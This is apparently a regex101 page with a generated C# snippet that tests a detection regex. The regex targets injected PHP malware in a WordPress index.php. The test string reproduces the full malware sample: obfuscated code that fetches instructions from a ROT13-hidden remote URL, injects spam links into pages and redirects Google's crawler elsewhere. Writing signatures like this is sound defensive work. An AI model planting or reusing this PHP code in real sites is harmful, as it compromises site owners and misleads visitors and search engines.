Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
gis

Test String

Code Generator

Language

Generated Code

using System; using System.Text.RegularExpressions; public class Example { public static void Main() { string pattern = @"^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*(\$\w+)=\@\$_server\[['""]http_host['""]\];\1.{0,90}?if\(\@\$_get\[[""']merdo[""'\]\)\{\w\s'\<\!\-]+sysadmin.{0,180}?curl_setopt\(\$.{0,370}?file_get_contents\(\$.{0,150}?$\w{0,21}=\@json_decode\(str_rot13\(.{0,460}?\$\w.{0,21}\[[""']html.{0,550}?\$myurl=rtrim\(\$\w.{0,21}\[['""]links.{0,110}header\(['""]location:\s*[""']\.\$url.{0,100}?\)\.['""]\?merdo=.{0,140}?\);(?:[^>]+>\s*)?(?=\s*<\?(?:php)?)"; string input = @"<?php $eMaOCtmXlSnImjmiCMmP=@$_SERVER[""HTTP_HOST""];$eMaOCtmXlSnImjmiCMmP=str_replace('www.','',$eMaOCtmXlSnImjmiCMmP);if(@$_GET[""merdo""]){echo '<!--SYSADMIN-->';exit();}function mMvIxjRKghDOytsXmHGz($WDqgjhajdhXeSWcZQBrY){if(function_exists('curl_init')){$JFOvIQnSKOvIvanRszDQ=curl_init();curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_URL,$WDqgjhajdhXeSWcZQBrY);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_RETURNTRANSFER,true);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_USERAGENT,""RaBot"");curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_TIMEOUT,10);return curl_exec($JFOvIQnSKOvIvanRszDQ);}else{return file_get_contents($WDqgjhajdhXeSWcZQBrY);}}function authRQaFMJbNLaJvrLTF($SMKstKjPCEdudocSCHHm){global $mnTIeyfFkNxHxpHFcEse;$DkiJvJYOhXiunDLZIogN=@json_decode(str_rot13($SMKstKjPCEdudocSCHHm),true);if($DkiJvJYOhXiunDLZIogN[""type""]==""link""||$DkiJvJYOhXiunDLZIogN[""type""]==""anti""){if(count($DkiJvJYOhXiunDLZIogN[""links""])){$XxXBDNFNLjLqzmBZbKRY='';foreach($DkiJvJYOhXiunDLZIogN[""links""]as $AXzHJsVXmlVXbzpqVwQJ){$XxXBDNFNLjLqzmBZbKRY.=""<a href=\"".$AXzHJsVXmlVXbzpqVwQJ[""url""].""\"" title=\"".$AXzHJsVXmlVXbzpqVwQJ[""title""].""\"">"".$AXzHJsVXmlVXbzpqVwQJ[""baslik""].""</a>\n"";}$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN[""html""];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}',$XxXBDNFNLjLqzmBZbKRY,$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}else{$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN[""html""];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}','',$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}}elseif($DkiJvJYOhXiunDLZIogN[""type""]==""redirect""){if(@preg_match('#google#',$_SERVER[""HTTP_USER_AGENT""])){$uri=$_SERVER['REQUEST_URI'];$rand_keys=array_rand($DkiJvJYOhXiunDLZIogN[""links""],1);$myurl=rtrim($DkiJvJYOhXiunDLZIogN[""links""][$rand_keys][""url""],'/');$url=$myurl.$uri;header('HTTP/1.1 301 Moved Permanently');header('Location: '.$url.'');exit();}}}$VIsQtYtIlNsuLPcxywSQ=str_rot13('uggc://jjj.wnxxryyl.pbz/kynetr.cuc').'?merdo='.$eMaOCtmXlSnImjmiCMmP;$zEGHtEUrCiJBSXWxYOdV=mMvIxjRKghDOytsXmHGz($VIsQtYtIlNsuLPcxywSQ);authRQaFMJbNLaJvrLTF($zEGHtEUrCiJBSXWxYOdV); ?> <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' ); "; RegexOptions options = RegexOptions.IgnoreCase | RegexOptions.Singleline; foreach (Match m in Regex.Matches(input, pattern, options)) { Console.WriteLine("'{0}' found at index {1}.", m.Value, m.Index); } } }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for C#, please visit: https://msdn.microsoft.com/en-us/library/system.text.regularexpressions.regex(v=vs.110).aspx